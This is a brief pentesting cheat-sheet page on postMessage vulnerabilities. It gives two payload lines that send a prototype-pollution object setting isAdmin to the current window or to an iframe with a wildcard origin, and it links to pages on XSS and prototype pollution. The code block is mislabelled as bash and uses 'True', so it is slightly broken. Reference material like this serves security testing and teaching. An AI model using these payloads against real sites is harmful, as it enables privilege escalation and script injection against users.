# PostMessage Vulnerabilities ## Send **PostMessage** **PostMessage** uses the following function to send a message: ```bash targetWindow.postMessage(message, targetOrigin, [transfer]); # postMessage to current page window.postMessage('{"__proto__":{"isAdmin":True}}', '*') # postMessage to an iframe with id "idframe" document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*') # postMessage to an iframe via onload ``` For **more information**: * Link to page about [**prototype pollution**](deserialization/nodejs-proto-prototype-pollution/) * Link to page about [**XSS**](xss-cross-site-scripting/) * Link to page about [**client side prototype pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss) ## References * [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html) * [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd) * To practice: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)